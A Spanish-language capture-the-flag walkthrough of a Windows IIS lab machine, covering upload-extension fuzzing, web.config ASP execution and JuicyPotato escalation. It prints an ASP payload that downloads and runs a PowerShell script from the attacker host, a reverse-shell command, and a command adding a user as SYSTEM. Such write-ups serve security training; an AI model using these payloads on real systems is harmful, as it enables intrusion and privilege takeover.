Bounty

Publicado: 14 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Bounty es una máquina Windows de dificultad Easy que presenta un servidor web IIS 7.5 con funcionalidad de carga de archivos. La explotación inicial se logra mediante el abuso de archivos web.config en IIS para ejecutar código ASP, lo que permite obtener una reverse shell. La escalada de privilegios se realiza aprovechando el token SeImpersonatePrivilege con JuicyPotato, una técnica clásica en sistemas Windows Server 2008.
Técnicas principales:
Enumeración web y fuzzing de directorios
Bypass de restricciones de carga de archivos
Explotación de archivos web.config en IIS
Escalada de privilegios con SeImpersonatePrivilege
Uso de JuicyPotato para elevar privilegios
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🔍 Escaneo de puertos
🛠️ Enumeración de servicios
🌐 Enumeración Web
🏗️ Puerto 80 HTTP (Microsoft IIS httpd 7.5)
Accedemos al servicio lo único que vemos es una imagen del mago merlin:

El código fuente tampoco revela nada de utilidad salvo la imagen

🔎 Fuzzing de directorios
Realizamos fuzzing de directorios usando la herramienta gobuster y encontramos un recurso /UploadedFiles interesante para analizar y que podría servirnos para un potencial vector de ataque:

Nos sirve también para confirmar que se trata de una máquina windows ya que el mismo recurso es válido por triplicado ya que windows es case-insensitive.
Por el momento no podemos hacer nada con este recurso, ya que nos devuelve un 403 lo que parece indicar a priori que no tenemos permisos para el directorio raíz pero a lo mejor sí tendríamos si conociésemos algún recurso dentro de él.

Volvemos a ejecutar feroxbuster pero esta vez vamos a incluir extensiones de archivos asp, aspx, ya que estamos ante un seridor IIS, para ver si encontramos algún otro recurso interesante:

Encontramos un recurso /transfer.aspx
📤 Analizando el recurso /transfer.aspx
Al acceder al recurso /transfer descubrimos un módulo de carga de archivos:
Al acceder al recurso /transfer descubrimos un módulo de carga de archivos:

Podemos probar manualmente para ver qué extensiones están permitidas, aunque también podemos automatizar un poco esto usando listas de Fuzzing de extensiones de las que tenemos en /usr/share/seclists
Podemos filtrar por número de líneas para ver el tamaño y elegir la que mejor consideremos:
🎣 Fuzzing con Burp Suite
Podemos usar Burp y el Intruder con un ataque de tipo Sniper y usando como SImple List la lista raft-medium-extensions-lowercase.txt

Una vez cargada la lista, en Options, seleccionamos Grep Extract y añadimos el mensaje de error por el que filtraremos la respuesta:

Desactivamos también la opción para que no nos codifique el carácter "." que va con la extensión

Iniciamos el ataque y comenzamos a ver extensiones válidas:

🐍 Fuzzing con Script alternativo en Python
Como alternativa también podemos implementar un script en python que lo automatice de esta forma:

Hay una extensión interesante que está permitida entre todas ellas y es la extensión .config
⚡ Descubrimiento de la extensión .config
Si buscamos información por IIS config file exploit encontramos un sitio donde se explica esta vulnerabilidad con una pequeña PoC
https://www.ivoidwarranties.tech/posts/pentesting-tuts/iis/web-config/
🧪 Prueba de concepto
A partir del comentario, podemos ejecutar código ASP. En esta PoC está realizando una pequeña suma de 1+2, por lo que subimos este archivo y lo ejecutamos, deberíamos recibir un 3:
Subimos el archivo web.config

Accedemos a él a través del recurso descubierto durante la fase de fuzzing de directorios:
Y comprobamos que obtenemos un valor 3:

💥 Ejecución remota de comandos (RCE)
Lo interesante es que ahora podemos convertir esto es una RCE (ejecución remota de comandos) y ganar acceso al sistema modificando el payload:
Podemos descargar un ASP one-liner de este recurso: https://www.hackingdream.net/2020/02/reverse-shell-cheat-sheet-for-penetration-testing-oscp.html o adaptar ligeramente el de este otro https://github.com/cspshivam/webshells/blob/main/webshell.aspx
Lo adaptamos para que en lugar de ejecutar el comando whoami ejecute un archivo en powershell que contendrá nuestra reverse shell
<% Set rs = CreateObject("WScript.Shell") Set cmd = rs.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/rev.ps1')") o = cmd.StdOut.Readall() Response.write(o) %>
Así quedaría finalmente nuestro archivo web.config
Faltaría definir lo que será el archivo rev.ps1, que será una Invoke-PowerShellTcp.ps1 de nishang https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 a la que añadiremos al final del script el comando para ejecutar la reverse shell especificando nuestro host y puerto de ataque donde estaremos escuchando con netcat
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
🎯 Ganando acceso inicial
Iniciamos un listener con netcat en nuestro host de ataque:
Tras subir el archivo web.config y acceder a én en http://10.10.10.93/uploadedfiles/web.config recibiremos la conexión reversa y ganaremos acceso a la máquina:

👤 Obteniendo la flag user.txt
Estamos dentro de la máquina como usuario merlin sin embargo no encontramos la flag user.txt donde suele estar habitualmente que es el directorio Desktop del usuario con bajos privilegios, en este caso merlin
Tampoco nos deja lista forma recursiva por la cadena "user.txt" para buscar la flag:

Sin embargo, como estamos en PowerShell si hacemos un dir -Forcepara que incluya archivos ocultos logramos verla y leer su contenido:
🚀 Escalada de Privilegios
🔍 Enumeración de privilegios
Verificamos qué privilegios tiene el usuario merlin y vemos que tiene el privilegio SeImpersonatePrivilege habilitado.

Y dado que estamos en una máquina Windows Server 2008 podemos tratar de usar Juicy Potato clásico:

🥔 Explotación con JuicyPotato
Descargamos el binario compilado de: https://github.com/ohpe/juicy-potato/releases/tag/v0.1
Descargamos también netcat en la versión de 64 bits y transferimos ambas herramientas al host con WIndows Server 2008:
🧪 Prueba de JuicyPotato
Ahora procedemos a ejecutar el binario de JuicyPotato. Podemos hacer por ejemplo la prueba de ejecutarlo para añadir un nuevo usuario al sistema, esto confirmaría que funciona que ya solo NT System puede hacerlo:
-t *
Usa cualquier tipo de token (típicamente: *, clsid, o moniker). En este caso * es válido. En caso de que de problemas usar un CLSID que corresponda a la versión en https://github.com/ohpe/juicy-potato/tree/master/CLSID
-p C:\Windows\System32\cmd.exe
Especifica el ejecutable que se lanzará con privilegios elevados.
-l 1337
Es el puerto COM local que JuicyPotato usará para la comunicación (puede ser cualquier valor no usado).
-a "/c net user x3m1Sec x3m1Sec123! /add"
Argumentos pasados a cmd.exe, que en este caso añade un nuevo usuario.
👑 Ganando privilegios de SYSTEM
Si queremos ganar acceso al sistema como NT system, bastaría iniciar un listener en nuestro host de ataque usando netcat y modificar el payload del comando que queremos ejecutar con JuicyPotato a este:

Y deberemos recibir en nuestro listener la conexión reversa con privilegios de NT System y podremos leer la flag root.txt:

Last updated